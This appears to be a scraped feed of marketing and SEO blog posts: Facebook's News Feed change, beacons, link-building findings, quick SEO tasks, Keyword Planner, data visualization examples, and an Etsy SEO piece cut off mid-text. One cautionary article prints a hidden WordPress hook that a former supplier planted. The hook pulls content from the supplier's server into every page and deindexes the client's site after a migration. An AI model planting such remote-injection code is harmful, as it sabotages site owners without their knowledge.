Facebook News Feed update: how #Friendmageddon will affect publishers

Facebook has announced a new change to its news feed algorithm, favouring personal posts over news stories, in an attempt to maintain its personal element. What does this *really* mean for publishers though?

Facebook is all about connecting people with their friends and family and despite attempts to divert from its original concept, it’s not ready yet to leave it aside. That’s why it decided to downplay stories from publishers on users’ news feed, in order to promote more personal stories from their favourite people.

This announcement was not warmly welcomed by publishers, as it means that organic reach will probably drop even more (as if it wasn’t already low) and it will be even more challenging from now on to make it to a user’s news feed.

RIP organic reach?

Organic reach was already on decline over the past few years and even before the latest algorithm change, SocialFlow observed a drop of 42% from January to May, which was alarming for Page managers.

It’s apparent that organic reach was becoming more challenging and only engagement and relevance could improve it. However, if there was already a drop of 42% in posts’ reach from January to May, what could we expect from now on?

Image source: SocialFlow

If Facebook is further promoting personal stories over news and brand posts, will we even able to talk about organic reach anymore?

Facebook confirmed in its announcement the possibility of seeing a reduced organic traffic:

“Overall, we anticipate that this update may cause reach and referral traffic to decline for some Pages. The specific impact on your Page’s distribution and other metrics may vary depending on the composition of your audience. For example, if a lot of your referral traffic is the result of people sharing your content and their friends liking and commenting on it, there will be less of an impact than if the majority of your traffic comes directly through Page posts. We encourage Pages to post things that their audience are likely to share with their friends.”

Publishers are starting to worry about the recent change and this brings about the need to re-evaluate their content strategy, in an attempt to maintain a successful Facebook presence.

Aiming for value and relevance

In Facebook’s own words:

“The goal of News Feed is to show people the stories that are most relevant to them.”

It’s not just about promoting personal stories then, but it’s also about highlighting the content that is relevant for every user. This means that Pages may still maintain their organic reach, provided they understand their audience.

It is becoming more important than ever for a publisher (and any Facebook Page) to post informative and relevant content for its audience, in a way that it will maintain engagement and ensure posts are still visible on News Feeds.

More over, shareable content, what we also call ‘viral’, will still be important, as this is the organic way to ensure that a page’s reach is increased. Creative, unique and authentic content is always appreciated and this is the only way to maintain the organic reach in the post-algorithm era.

This may require a more extensive analysis of the Page and each post’s performance, although we assume that native videos will still be more important than other types of content. Facebook was quite clear on its preference of native content so this might be a good start for your experimentation over the forthcoming months.

Source: Buzzfeed Pound data

Pay for traffic

It is inevitable that publishers will follow marketers in the ‘pay to play’ game on Facebook, in order to maintain their reach, but is every publisher able to do so? And what does this mean for smaller sites?

It won’t be an easy task for a small publication to maintain a Facebook presence without paying to promote (or boost) a post. This doesn’t mean that every small publisher should abandon Facebook, but it may become more challenging and there’ll be a need for more creative solutions.

Maybe it’s the right time for every publisher to understand that heavily depending on Facebook for traffic is not working anymore and it might be a good idea to consider further options, or simply to focus on other aspects of content marketing.

A change in news consumption?

A recent survey by Pew Research Center indicated that 62% of US adults are using social media to keep up with the news and Facebook is by far their first choice, with 67% of them using it for their news updates.

Image source: Pew Research Center

After the News Feed update, people won’t see the same amount of news stories on their feed and will ultimately affect the success of publishers’ posts.

Beware, this is not the end for publishers on Facebook, but it does call for more authentic, interesting, appealing, engaging content, rather than circulating the same old story across all publications.

Once again, big publishers will probably be less affected by this update, due to the authority, the budget and the engagement they already have.

People will not stop consuming content through Facebook, all publishers need to do is find is the right way to ‘get access’ to their users’ feeds.

(Hopefully the focus on engagement and virality will not lead to posts of lower quality, simply seeking to grab the audience’s attention)

Boosting the “echo chamber”

Another issue to consider is the filter bubble that Facebook has built over the year and how it only grows bigger with all the updates.

People are exposed to people, posts, stories that are relevant to their interests, their beliefs, their experiences and this ultimately affects their broader perception of the world.

Eli Pariser mentioned in his book ‘The Filter Bubble: What the Internet is Hiding From You’ back in 2011:

“Your computer monitor is a kind a one-way mirror, reflecting your own interests while algorithmic observers watch what you click.”

Meanwhile, Facebook published a post on its News Feed Values and mentions among others:

“Our aim is to deliver the types of stories we’ve gotten feedback that an individual person most wants to see. We do this not only because we believe it’s the right thing but also because it’s good for our business. When people see content they are interested in, they are more likely to spend time on News Feed and enjoy their experience.”

This sums up its concept, the news feed updates and how our news consumption is changing. As more and more people use the platform to keep up with the news, and as Facebook keeps pushing personal and relevant stories, publishers are also becoming part of a changing reality, which affects both the creation, but also the distribution of their future stories.

What’s the next step for publishers on Facebook?

There’s no need to panic (yet) regarding Facebook’s new update, but it may be a good idea to start examining your audience and the reactions your posts trigger, in order to be ready to deal with the new #Friendmageddon.

Every site will feel the need to analyse its current marketing practices, in order to spot the opportunities for further development to maintain the referral traffic that Facebook may offer.

Whether you already have an engaged audience or not, Facebook kindly reminded us once again that nothing is for granted. Time to adjust our social practices once again then.

The article Facebook News Feed update: how #Friendmageddon will affect publishers was first seen from https://searchenginewatch.com

Why you may need to be aware of booby traps when hiring a new SEO

The online marketing world can be somewhat of a wild west in many regards, with SEO at the center of the chaos.

Of the thousands of providers across Australia there are no shortages of promises, case studies and packages available for every business size. The central premise of SEO is that you will get long-term sustained traffic for your investment.

The industry as a whole has a simple paradox that it must deal with, if they do their job properly, they are theoretically not needed anymore, and then stand to lose a customer. Meanwhile, if they do not do their job properly they are guaranteed to lose a customer.

Within 24 hours of one of my SEO clients deciding they were happy enough with their rankings and deciding to pull out of their retainer, one of my other clients had finally finished their 12-month web design and SEO package with their initial provider.

As I was asking myself “how can I adapt my business to allow for sudden client satisfaction,” my other clients were in the process of having their site migrated to my server.

I arrived at my client’s office to begin a day’s work, and we checked the rankings for their site. The migration had been completed a few days prior and had gone through smoothly.

That abysmal feeling of dread came, as we saw that the site couldn’t be found nestled in its top positions for any of it’s search terms anymore.

The weird thing, as I checked for manual penalties or de-indexation by searching site:example.com, it became apparent that not every page had been dropped. Only the homepage so far.

This at least narrowed the search down, and meant that I could check the source code for the homepage, and see if there was anything odd going on.

Sure enough, there it was:

<meta name= “robots” content=”noindex,follow”/>

This line of code tells Google and other search engines to remove the website from their index, rendering it unfindable. It has its time and place in day-to-day web design and marketing, but clearly does not belong on the homepage of a website that is trying to gain traffic and potential customers.

I decided to fix the problem first and then later deal with the lingering question of ‘why has this code suddenly turned up?’

Once the hunt had begun for where exactly this code was generating from, I became less and less convinced that this was some sort of accident.

Searching within any of the website files for ‘noindex’ turned up nothing, almost like the code wasn’t actually in there anywhere. Even downloading the entire set of website files and running them through a dedicated file searching tool, we couldn’t find a single instance of ‘noindex’ anywhere within the website.

Sure enough though, the noindex code was in there somewhere, and not just the front page it would seem. Google had dropped the front page but had not yet gotten around to deindexing the rest of the pages, even though every page had the code.

The webhosting company that oversaw the migration assured me that they had simply taken the site files and placed them on a server, never touching any of the code. They joined the hunt.

We eventually discovered the source of the code; it was both ingenious and simple.

I received an email from the developer in charge of migrating the site:

We have looked through the code and found the following lines in the themes functions.php file…

add_action(‘wp_head’,’sidebar_config’, 1, 3);
function sidebar_config()
{
$output = file_get_contents(‘http://robots.clients.(*previous suppliers domain*).com.au/’);
echo $output;
}

Disabling only these has resulted in the nofollow,noindex disappearing.

Note that this specifically references to connect to and retrieve a file from robots.clients.(*previous suppliers domain*).com.au and then output the code into your site.”

As I spoke with the developer, he informed me, that this code is only triggered if the site is no longer being hosted on the previous supplier’s website.

The previous suppliers dismissed it as a mistake, initially trying to tell me that it must have happened during the migration, and then later saying that they may have accidentally left the code in there, who knows.

One thing is for sure, these guys who have been in business much longer than I have, know their game well.

When a client drops me, I ask myself “what could I have done to keep them happier?” and “should I perhaps package my services better?”

When a client drops them, their entire site gets deindexed.

I think I prefer the soul-searching quest to provide value that people don’t walk away from, rather than the vindictive attempt to hedge a sites rankings to my server.

The article Why you may need to be aware of booby traps when hiring a new SEO was first seen from https://searchenginewatch.com

How are beacons going to affect search marketing?

Recently I’ve been reading a lot about the effects beacons and proximity marketing may have on search strategy.

(I actually work for a company that makes beacons and management software, so it’s not just me being boring).

I’ve found little doubt that it will bring some very fundamental changes to the way we reach customers, and the type of targeting and data management we’ll need to master in order to do things properly.

Although perhaps not in the way you might think…

Improving proximity results

Search Engine Watch has spoken about beacons a lot in the past, but just in case you need a refresher, a beacon is a tiny device that can transmit a signal to any Bluetooth device in range – phones, fitness bracelets, headphones, smartwatches etc.

Usually this happens through an app (although Google in particular are taking steps to remove this friction and enable direct device communication), and before the privacy police wade in, it’s all completely opt-in.

It certainly has some obvious ramifications for local search.

In the past, we’ve largely been limited to areas defined by map coordinates for localisation. These are fine for locating buildings, but not so hot once people actually enter a space.

Beacons have a big advantage here because they get that location down to an area a couple of metres across, and they allow you to transmit and receive data in realtime. If I’m standing by the apples in your supermarket, you can fire me a coupon.

I’m using that example on purpose by the way, and I’ll explain why in a moment.

Beacons don’t need to be interruptive

For marketers, there seems to be an assumption that beacons are an interruptive marketing tool.

Retail couponing is the most obvious use-case after all, but just as early ecommerce sites learned, couponing is no way to build a successful business. And as the publishing industry is learning, interruptive marketing… just isn’t very good really. People don’t like it in most cases.

As I say though, this is only an assumption. The real value of beacons is actually almost the complete opposite of interruptive.

It is in contextual interactions, which usually rely on either an active request from a user, or passive scanning and data aggregation by the person deploying the beacons.

In other words, if I visit a museum, download it’s app and enable push notifications while I’m there, then I’m actively searching for information abut my location.

If not, then I can still be monitored as an anonymous device that is moving around the museum. Once this data is collected, there is a lot of potential value. Maybe it’s time to move that Rodin statue to a more prominent position (possibly next to the gift shop).

Search will need to become hyper-relevant in an open beacon marketplace

So what does this mean for search?

Currently, a lot of local search isn’t that great. There are plenty of fine examples, but there is certainly an adoption curve, particularly for small businesses.

Do a quick search for something like ‘Bike shop, Shrewsbury’ and you can usually see which businesses have a lot of low-hanging SEO fruit that they just aren’t optimising for.

This is a missed chance, but it is usually being missed because of a lack of familiarity and time. People who are busy running a hardware store don’t often have time or money to really concentrate on good SEO.

As beacon deployment becomes more widespread (and it is going to be), this situation is going to change for the user on the ground. App networks and beacons deployed as general infrastructure in more locations mean that local optimisation is opened up to more players, with more resources. Why should our local bike store be wasting time optimising when Raleigh can be doing it for them?

Local SEO will begin to be a wider concern not for the locations themselves, but for the companies that sell through those locations. And those companies have the resources and processes available to start doing a really good job.

There is however, still a place for the location itself in all this, and that is in adding contextual value, which may not come from purely commercial campaigns.

Recently I visited Edgelands at the Barbican in London, where one of our clients has deployed beacons that guide visitors around the interesting (and slightly confusing) internal space.

The interesting thing here is that it occurs through sound, so that visitors are able to view their surroundings, rather than keeping their eyes glued to their phone screens. It adds context while keeping the visitor engaged with the physical space, rather than having the two vie for attention.

With the rise of experience stores, this is going to become a more important point of differentiation over the next few years. Customers won’t want distracting alerts and pop-ups, they’ll want something that provides a richer experience.

From the marketing side, providing these will become a way to deepen brand affinity as much as increase immediate sales.

Search is about to leave its silos behind

This makes location a strange, mixed bag for search. On one side, brands providing advertising through app networks and beacon fleets owned by third parties (in my opinion, telcos are currently best placed to handle and benefit from large scale deployment, as they already have large data networks and physical locations).

In many cases, this will be about hyper-localised PPC campaigns. On the other, locations providing realtime SEO, with a shifting set of keywords based on whatever is currently happening in-store (or in-museum, or in-restaurant for instance).

It means that we’ll have to get better at aligning our data and working out which signals really matter, and we’re going to need to get insanely good at management and targeting.

I hate to use this word, but search will need to become more holistic, and even more aligned with marketing. There’s a huge opportunity here for search marketers, customer experience, data management and more.

The article How are beacons going to affect search marketing? was first seen from https://searchenginewatch.com

18 best branded Instagram videos of 2016 (so far)

7 Last Minute Marketing Ideas for the Fourth of July

The Fourth of July holiday is like an oasis in the desert. Mid-summer, the holiday gives people a break and a chance to celebrate something in seasonal style. It should come as no surprise then, that the average U.S. household spends around $70 on Fourth of July festivities and products. According to the Retail Trade Association, Americans are expected to spend more than $6 billion over the holiday weekend this year, making it the perfect time to rev up your marketing efforts and cash in on the Independence Day spirit.

Lucky for you, this holiday practically markets itself. If you haven’t put together a game plan for capitalizing on this weekend, here are a few easy, last minute marketing ideas for the Fourth of July.

1. Offer shipping specials.

Every seasoned online shopper knows that holidays bring good deals, and the Fourth of July is no exception. In fact, many online shoppers will hold off on making purchases until a holiday offers sale prices or shipping specials.

If you’re looking to inspire some online sales for your business, try sending your email subscribers codes for discounted or free shipping through the Fourth of July. Maybe even dress the email up with the red, white, and blue color scheme.

2. Add a patriotic treat to each sale.

America: home of the brave, land of the freebie. Tucking a little something patriotic into every sale leading up to and/or through the Fourth is just the added incentive consumers need to check out their shopping cart.

Buttons, a sparkler, a little flag bracelet-whatever freebie suits your product or service best. Your freebie might even be a limited edition product for the Fourth, as long as it’s easy to add to purchases and cost-effective.

3. Have a social media photo contest.

If your business has a loyal following on a platform like Instagram or Facebook, a social media photo contest is a great way to quickly boost your visibility. Here’s an example from a retailer:

Common contest prizes are gift cards, free products, or awesome discounts. Plus, it gives your clientele a chance to get creative! To expand your reach, make tagging a friend part of the contest rules and watch your audience multiply.

4. Create a holiday hashtag.

Creating a holiday hashtag for Fourth of July festivities is a great way to keep track of all the online buzz happening about your brand. For example, if you’re a jewelry store hosting a special sale for the Fourth of July, you could ask your customers to post pictures of their purchases with #LetFreedomBling.

Though it may seem like a silly, all too easy component of a last minute campaign, it can actually unify your marketing efforts and is something customers are more likely to share. Think of a catchy, holiday-themed slogan and start pubbing it out as the official hashtag.

5. Play with different content formats.

Holidays are a good time to take a stab at creating different forms of highly engaging content. As users browse online blogs and retailers, they’re likely to click on timely content related to the Fourth of July experience.

Now might be the time to make a quiz or piece of trivia about Independence Day/U.S. history facts, or maybe there’s a Fourth of July gif you can make. The weekend  traffic will create a clickable, willingness for users to engage with interesting content, making it the perfect time for a little marketing trial and error.

6. Create relevant content.

A holiday weekend is an excellent time to connect with users through content, because it provides a chance to offer useful information for exactly what’s on their mind.

Use this time to create content that will actually help people, such as holiday hacks, recipes, party ideas, Fourth of July crafts, or featured looks for the weekend. By creating clickable articles with relevant and timely insights, you can drive user views through effective content marketing.

7. Join up with a local event.

Another way to make the most of last minute marketing is to jump on board with a local event. Nearly every town or city has a parade or festival over the Fourth of July weekend. These are great opportunities not only for brand exposure, but to interact with customers you wouldn’t normally have within your reach.

Find the local Fourth of July events near you and see if your business can participate. Whether it’s a food truck festival, an outdoor concert, or a parade, there will be a marketing opportunity somewhere.

The post http://www.highervisibility.com/blog/7-last-minute-marketing-ideas-for-the-fourth-of-july/ appeared first on http://www.highervisibility.com

Google’s Joris Merks on the importance of leadership for digital transformation

Joris Merks is Head of Digital Transformation, Northern Europe at Google, and works with companies to embed digital-first thinking into their strategies.

He’ll be participating in a Google Squared webinar tomorrow (June 30), looking at how to drive a culture of innovation in your company.

Can you tell us a little about your role at Google?

I am EMEA Head of Curriculum design in the Google Digital Academy team. That means I work with a team and vendors to build workshops and education initiatives that help Google’s advertisers understand what the impact of digital is on their business and help the feel equipped for digital transformation.

What does digital transformation mean to you?

I look at digital transformation as a chain reaction of experiments that continuously helps companies to understand how to make the best use of new technology.

In this way they stay in tune with their customers, who are also using digital technology, keeping their businesses ready for the future.

What should the first steps be in a process of digital transformation?

It starts with a clear vision from company leaders of where technology is going and how that could affect the business.

Then these leaders need to give strong signals to people in the company about which challenges need to be fixed and a culture that rewards experimentation and entrepreneurship needs to be created.

Without this culture, people aren’t very likely to invest in new experiments. This is because any experiment with new technology is always more work and more risk compared to just doing what you always did. People won’t be wiling to pick up more work and risk if there is nothing in it for them or if they might even risk losing their job or bonus when an experiment fails.

Should companies centralise digital functions, or should these be distributed across various teams/departments? What are the pros and cons?

I think it depends on the stage of development a company is in and on the type and size of company. Companies with a digital-focused business model obviously should have centralised digital functions.

Smaller companies tend to have functions where digital and traditional marketing are embedded in the same teams.

Large companies that have heritage in the offline world and are in transformation tend to start out with specialized digital teams, which is good to make sure you ramp up fast enough. However, at some point in the digital transformation new and old teams must break through their silos because they are in the end serving the same customer and should provide a seamless journey across channels.

I believe eventually the differentiation between the two worlds will go away and all marketers will have a digital mindset. For the sake of ramping up fast it can however make sense to have a period where digital is a separate skill set in the organization.

How much of digital transformation is about technology and how much is about culture?

I’d say it is equally important and next to technology and culture there are also factors such as creativity, knowledge, organisational structure and strategic processes.

For example, if new technology arises, creative people are needed to find out what cool and useful things you can do with that technology.

The people that are our creatives and the people that understand tech are however often not the same type of people, so the art is bringing them together to come up with new ideas to experiment with.

The big trap with digital is that it can be treated too much as a technological development and that focus is a lot on data. With that focus digital will always stay a specialism in the company and the company will never have a fully digital mindset.

There are many obstacles facing brands as they examine new digital tactics and technology (e.g. legacy systems). How do you drive digital transformation in such an environment?

I think sometimes big tough decisions need to be made in many areas at the same time. That is definitely true for legacy systems.

For instance brand and digital departments might be using different tools to manage their campaigns. That means you can never have a single view on the customer, which again means you can never be customer friendly in your advertising.

Someone then needs to make the decision to go for one holistic approach. That will require short term investments of time and money but is a crucial decision in order to be ready for the future and not lose your business in the long run.

Those decisions typically require strong leadership and vision. Without that it is very easy to keep focusing on those things that deliver you short term business without making the efforts needed to keep your long term business.

Which companies do you see as great examples of businesses which have embraced digital? What are the common factors in their approaches?

There are many of such examples. I think the key thing they all have in common is strong visionary leaders.

If people we work with find it get stuck in digital transformation, that is almost always because the way they are incentivised, their targets, their bonuses and career opportunities are driven too much by short term business results.

Those are the companies that will one day get an extreme wake up call because a new competitor will come out of nowhere with a new business model using new digital technology in smart ways and winning customers at high speed.

Where does data fit into digital transformation?

Despite the fact that I think the focus has been too much on technology and data, data definitely is becoming more important. I think no one can deny that.

I always advocate the balance between data, mind and heart. Data to measure everything you can measure, mostly the proven successes so you can optimise them further.

Mind is needed to look ahead into the future, assess how your business may be affected by new developments and craft the right experiments to be ready for that future.

Data isn’t very good at helping you with that because data is always based on the past. Even when models make predictions they are always based on past data.  The heart is needed to recognise the moments when someone comes up with a great creative idea of something cool you can do with new technology.

On those moments you shouldn’t ask how much money you will earn from it. If the idea is fundamentally different from anything you tried, you can’t know. If, however, your heart starts pounding, that probably means it is a great idea worth exploring. You can bring the measurement in afterwards, but don’t kill the idea upfront due to lack of good data.

Joris will be taking part in a Google Squared webinar tomorrow, looking at the five fundamental limitations of data that create challenges in digital transformation. You can sign up for the webinar here. 

The article Google’s Joris Merks on the importance of leadership for digital transformation was first seen from https://searchenginewatch.com

Which kinds of links are most valuable for high rankings?

What does link-building look like right now? What tactics work? Is it all about quality content or do more shady tactics still get results? 

Glen Allsop of ViperChill posted another excellent article recently, distilling the findings from his own manual analysis of 1,000 search results.

He looks at the link structure of various sites, trying to ascertain the kinds of links that help some sites rank, the tactics (white hat and not-so white hat) used by sites to rank, and the effects of factors like number of links and word count.

It’s a monster of a post – more than 5,000 words I’d guess – but truly worth a read. All I’ll do here is list some of the key lessons from Glen’s analysis.

The most common backlinks are natural

Glen found that natural (i.e. earned) backlinks top the chart, which is as it should be.

However, the study also found that many high ranking websites have some very low quality backlinks. They are things like forum pages, blog comments, and non-English Blogspot blogs. They’re not earned, but can be easily created.

Indeed, a recent look at Skyscanner’s impressive search rankings revealed something similar. There are quality links there, but plenty which could be classed as ‘low-quality’. Perhaps these are the result of older link building efforts, who knows?

Link volume does not influence ranking

It’s about quality not quantity. As this chart shows, the volume of backlinks does not correlate with ranking.

Variety of linking domains helps

Obvious perhaps, but good to reinforce. A variety of links from different domains matters much more than volume.

Longer content and high rankings

There have been a few studies suggesting a correlation between longer form content and higher search rankings.

It makes sense, as in theory, longer content can be more likely to satisfy the user (it’s detailed, covers key questions etc), and in turn more likely to attract links.

Glen’s data backs this point up. The average word count on all results was 1,762, and higher counts tended to correlate with higher rankings.

Link building tactics that still work

A few weeks ago, we talked about another finding around sitewide footer links used by some sites, and how tactics like this help the ‘rich get richer’ in search (this was another finding from ViperChill).

In this article, Glen looks at how Houzz uses a widget to  mbed dozens of hard-coded links in the websites of those who host it. It seems this tactic is still in use.

Good content still works

Writing quality content to attract links is still an excellent tactic. Evergreen content is key to this.

The example used here is a beginners guide to the Paleo diet, from the nerdfitness blog. It has attracted links from 800 domains and continues to deliver traffic to this day.

Why does it still attract links? Four reasons:

• High ranking. It’s up there right now, so when people look for resources to link to, there it is.
• It’s a good article. It’s there because it serves a need. It’s also comprehensive which means people don’t need to look elsewhere.
• Internal links. The sidebar on the homepage links to the post so it continues to accrue traffic.
• Loyal audience. The site has an engaged audience who appreciate and link to the content.

Dodgy tactics can still work

There are still plenty of dubious tactics that are helping websites achieve high rankings.

For example, this .info site has 195,000 links from 242 domains, that’s more than 800 per domain. I’m ‘sure’ they’re all earned, natural links though…

The study found less private blog networks than expected, but also finds that they still work.

In summary

I’ve only scratched the surface of the study here, so please check out the full article for much more. It is itself a great example of creating quality (and long-form) content that attracts links. I’m sure we won’t be the only site linking to it.

The article Which kinds of links are most valuable for high rankings? was first seen from https://searchenginewatch.com

Nine SEO techniques that take less than 15 minutes

I know. It’s the 21st century equivalent of ‘8 minute abs’. But bear with me on this…

Search engine optimisation should be an ongoing process, mixing technical on-page techniques with quality content, good old fashioned marketing, plenty of research, tonnes of planning, masses of testing and all the while taking into account searcher intent, context, algorithm changes… I get breathless just thinking about all the work that needs doing…

Basically, SEO is a job that is never done.

But, if you are struggling with time and resources, there are SEO techniques that don’t have to consume your entire day.

The following can be done while sat down in the morning, enjoying a pastry, listening to some cool light-jazz and blissfully remembering that this is a much better use of your time than that other ‘resolution’ you toyed with doing four paragraphs ago.

Please note: we published a similarly titled guide to quick SEO tips, written by Josh McCoy, way back in 2012. This is an updated, rewritten version that reflects the subsequent changes and updates to the search landscape.

1. Check your site’s organic CTR, revise 10 of the lowest performing page’s title tags and meta descriptions

Head into your site’s Google Search Console, then click on Search Traffic>Search Analytics.

Then click on the Impressions and CTR filters for Pages.

Here you can take a look at the pages with high visibility, but low CTR. Perhaps all they need is an improved meta description or title tag?

For a more detailed overview, check out How to improve CTR using Search Console.

2. Add Schema markup to your 10 most popular pages

You can add rich media to your search results by adding Schema markup to the HTML of your pages.

If you have a particularly massive site with years and years worth of posts, the idea of adding rich snippets to your pages can seem terrifying. Instead, make a spreadsheet of your most popular posts, then every day go through 10 of them and implement schema markup. This should help gradually improve the CTR of your results.

3. Improve your site speed by optimising images

Site speed is a hugely important ranking signal, and you can check your site’s loading time on both mobile and desktop with this new site speed tool.

Obviously improving the performance of your site is a complicated job best saved for the tech team, but you can help…

Images are are by far the ‘heaviest’ element when it comes to page load. So why not spend a few minutes working back through your most popular posts and making your image file sizes smaller.

For example, if there’s an image on your page that’s 1024 x 683 pixels, but the user only sees it at a maximum of 420 x 289, you could ease the strain on your page by compressing the file size with very little noticeable difference.

Read this article for full details: How to optimise your page images to increase site speed.

4. Check the proper canonicalization of your domain

Are you aware that your site may exist in two different places? Without even knowing it, Google could be indexing your content from both www.example.com and example.com and therefore you may be cannibalising your own pages in search.

Luckily it doesn’t take very long to fix this problem.

You just have to tell Google which is the preferred version of your domain for all future crawls of your site and indexing refreshes.

As it states on their webmaster help page:

If you specify your preferred domain as http://www.example.com and we find a link to your site that is formatted as http://example.com, we follow that link as http://www.example.com instead. In addition, we’ll take your preference into account when displaying the URLs.

To change this, visit Search Console, click on your site, click the gear icon then click Site Settings. And in the Preferred domain section, select the option you want.

5. Verify your Google My Business page, make sure your details are up to date

Kevin Gibbons wrote some good suggestions for us when it comes to optimising your page for local search:

• Claim your listing, as often many people don’t.
• Ensure your details are up-to-date (previously you might not have accepted credit cards).
• Double check your opening hours and phone number as these often change over time or the business has new owners or management
• Check the business images you are using and consider refreshing them or uploading higher res versions.
• Check no-one has made an edit to your listing and changed the businesses’s website to their affiliate link, have seen this too!

There are loads more tips here: How to optimise your Google My Business listing.

6. Check that you don’t have any duplicate meta description and title tags

This is a very easy one. Just head back into Search Console, click on Search Appearance>HTML Improvements, then you can see exactly which of your pages contain duplicate metadata and you can alter accordingly.

7. Keep on top of your image alt tags

Google Image Search can drive a significant amount of traffic to your site, however you must remember that Google can’t ‘see’ your images, but it can ‘read them’.

Therefore describing your images accurately and concisely in the ‘alt text or tag’ section is very important.

Check back through your last handful of pages and make sure your images conform.

You could even look at the alt tags at the same time as checking your image file sizes (see point 3).

For lots more information, check out How to optimise images for SEO.

8. Check your 404 error codes

404 pages occur when a Googlebot attempts to visit a page that doesn’t exist. Generally 404 pages are fine and won’t harm your rankings, but it is important to pay attention to them, especially if there’s a sudden increase.

You can check these in Search Console, under Crawl>Crawl Errors.

Then if anything looks to have been deleted accidentally, or a 301 redirect hasn’t been put in place properly, you can fix these straight away.

9. Keep on top of your internal linking

Regular and consistent internal linking to the most popular articles on your site is a key way to show search engines that your site has authority and that your content is ‘trusted’.

There are many different methods and tools to check which of your pages is the most popular for any search phrase, and therefore the ones you should be using to internally link for added SEO benefit.

Spend some time going back through your posts and ensuring that each post has a few internal links, paying particular attention to the anchor text used, and making sure they’re all relevant AND pointing towards pages you wish to see rank.

There’s an excellent, detailed best practice guide here: Internal linking for SEO.

So there you go. Nine quick things you can do to improve your SEO every day without taking up too much of your energy. Obviously this is far from an exhaustive list, but it’s definitely a start to getting the basics right.

The article Nine SEO techniques that take less than 15 minutes was first seen from https://searchenginewatch.com

Google’s Keyword Planner tool just became even more inaccurate

You’re probably familiar with the Keyword Planner tool, which is one of the best sources we have to spot opportunities and make the business case for an investment into paid or organic search campaigns.

One of the things it provides is guidance on the volume of searches for any given query. The numbers reported in the tool have always been somewhat vague. They are rounded up and numbers end with at least one zero. A pinch of salt has always been required when digesting the data.

It turns out that these numbers are now even more imprecise.

Jennifer Slegg spotted that Google has started to combine related terms, pooling them all together and reporting one (bigger) number.

No longer can you separate the data for keyword variants, such as plurals, acronyms, words with space, and words with punctuation.

As such it would be easy to get a false impression of search volumes, unless you’re aware of the change. No sudden jump in search queries, just an amalgamated number. Be warned.

Here are a couple of examples…

Bundling together anagrams and regional spellings

Lumping together plurals and phrases without spaces

The problem could be exacerbated by third party tools. Jennifer says:

“For those that don’t notice the change – or worse, pulling the data from tools that haven’t updated to take into account the change – this means that some advertisers and SEOs are grossly overestimating those numbers, since many tools will combine data, and there is no notification alert on the results to show that how Google calculates average monthly searches has been changed.”

So yeah, this isn’t exactly good news. In fact, I can’t think of any benefit to the end user, but Google has a history of obfuscating data, so perhaps it shouldn’t come as a surprise.

That said, it once again pushes the focus towards relevance and context rather than pure volume. Advertisers and content creators would do well to focus on optimising clickthrough rate and landing page performance, rather than just shotgun marketing.

Guesstimated data aside, you can use Search Console to make sense of actual performance. Map your page impressions to organic (or paid) positions and you’ll get a sense of how accurate the Keyword Planner data is for any given term.

It’s also worth remembering that there are seasonal factors at play with the reported data. Volumes shown are an approximate figure based on 12 months search data. You might get a better idea of more accurate monthly figures if you cross-reference data from with Google Trends, which will show seasonal spikes (February is a big month for flowers).

Keyword Planner replaced Google’s Keyword Tool and Traffic Estimator about three years ago. Users of the old tools initially complained about missing the broad match and phrase match options. Now, they’re going to miss even more detail around keywords and data.

Proceed with caution, as ever.

The article Google’s Keyword Planner tool just became even more inaccurate was first seen from https://searchenginewatch.com

17 inspirational examples of data visualization

We can all collect masses of data, but it only becomes genuinely useful when we use it to make a clear point.

This is where data visualization comes in. Showing data in context and using creativity to make that same data tell a story can truly bring the numbers to life.

There are a whole bunch of data visualization tools out there to help create your own, but here are some existing examples for inspiration.

A day in the life of Americans

This excellent visualization from Flowing data uses information from the American Time Use Survey to show what Americans are up to at any time of day.

What streaming services pay artists

This from the wonderful information is beautiful website, looks at how the major online streaming music services compare in terms of paying the musicians.

Two centuries of US immigration

This fantastic visualization from metrocosm shows the various waves of immigration into the United States from the 19th century to the present day.

US population trends over time

This gif from the Pew Research Center is a great example of how movement can be used to convey shifts and trends over time.

Why you should take the bus

The German town of Münster produced this series of images back in 1991 to encourage bus use. It’s beautifully simple showing the relative impact of the same number of people (72) on bicycles, in cars, or on a bus.

What happens in an internet minute?

This infographic from excelacom presents what happens online in 60 seconds, including:

• 150 million emails are sent.
• 1,389 Uber rides.
• 527,760 photos shared on Snapchat.
• 51,000 app downloads on Apple’s App Store.
• $203,596 in sales on Amazon.com.

US wind map

This moving visualization shows wind speed and direction in real time.

It looks great and is easy to understand, which is key to effect data visualization. This one comes from hint.fm.

Daily routines of creative people

I’ve always been pretty cynical about this ‘X things successful people do before breakfast’ stuff – as if by following this, people are suddenly going to become Steve Jobs or Albert Einstein.

However, this one from podio showing daily routines of creative people is very interesting. It won’t turn you into a great composer, but it’s a fascinating insight nonetheless.

The impact of vaccines

This is a series of visualizations from the Wall Street Journal, which shows the impact of vaccines on various infectious diseases.

It’s striking stuff, which clearly demonstrates the incredible positive impact of vaccination programs in the US.

London food hygeine

This is a great use of freely available data to provide useful information for the public.

The one million tweet map

This uses tweet data to present a geographical representation of where people tweet about topics. The example below is for ‘Brexit‘.

The fallen of WW2

This, from Neil Halloran is a cross between data visualization and documentary.

There are two versions of this. The video version you can see embedded below, and an interactive version.

People living on earth

A simple but very effective visualization of the world’s population, and the speed at which it increases.

The ultimate data dog

This, again from Information is Beautiful, uses data on the intelligence and other characteristics of dog breeds, plotting this against data on the popularity of various breeds from the American Kennel Club.

How much did band members contribute to each Beatles album? 

This from Mike Moore, shows the relative writing percentage for each Beatles album, as well as the contribution over time.

A day on the London Underground

From Will Gallia, who used data from a single day’s use of the London underground to produce this timelapse visualization.

Fish Pharm

This is from way back in 2010, and illustrates the fact that antidepressants and other pharmaceuticals are now showing up in fish tissue.

The article 17 inspirational examples of data visualization was first seen from https://searchenginewatch.com

SEO for Etsy: three tips to improve your store’s search visibility

We live in the age of personalization and customization.

Businesses are trying to find ways to personalize their services to better connect with overarching trends. With the Internet at your disposal, you can have a custom shirt with your dog’s face on it and also get a shirt for your dog with your face on it.

This is just one example of the growing customization culture and interest for the weird that has cropped up, causing an uptick in the amount of Etsy stores out there.

As of 2014, Etsy had 54 million users —up from just 5 million users in 2004. 1.4 million of these Etsy users are active sellers. As more Etsy stores pop up, the space becomes more competitive.

Optimizing your Etsy store and products will help you stay visible whether customers search on Etsy or Google. Here are the fundamental tips and tricks to help enhance your Etsy store and product listings to increase traffic from Google to drive sales.

Etsy keyword research

Having an understanding of your customer’s keyword for your own business is beyond powerful and can help potential clients and fans find you.

